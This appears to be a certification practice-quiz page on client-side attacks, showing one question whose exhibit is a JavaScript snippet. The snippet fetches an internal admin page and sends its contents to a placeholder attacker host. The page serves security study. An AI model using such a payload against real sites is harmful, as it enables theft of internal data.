PEN-200 Client-Side Attacks • 15 Questions
15 PEN-200 Client-Side Attacks practice questions with answers and explanations. Free, no signup.
Refer to the exhibit.
```html <script>
var xhr = new XMLHttpRequest();xhr.open('GET', 'http://internal.admin.local/sensitive', true); xhr.onreadystatechange = function() {
if (xhr.readyState == 4 && xhr.status == 200) {fetch('http://attacker.com/log?data=' + encodeURIComponent(xhr.responseText));
}
};xhr.send(); </script> ```
What type of client-side attack vector is demonstrated in this JavaScript code snippet?
Choose an answer to begin — your selection is scored in the full session.
15 questions · instant feedback and full explanations after every question.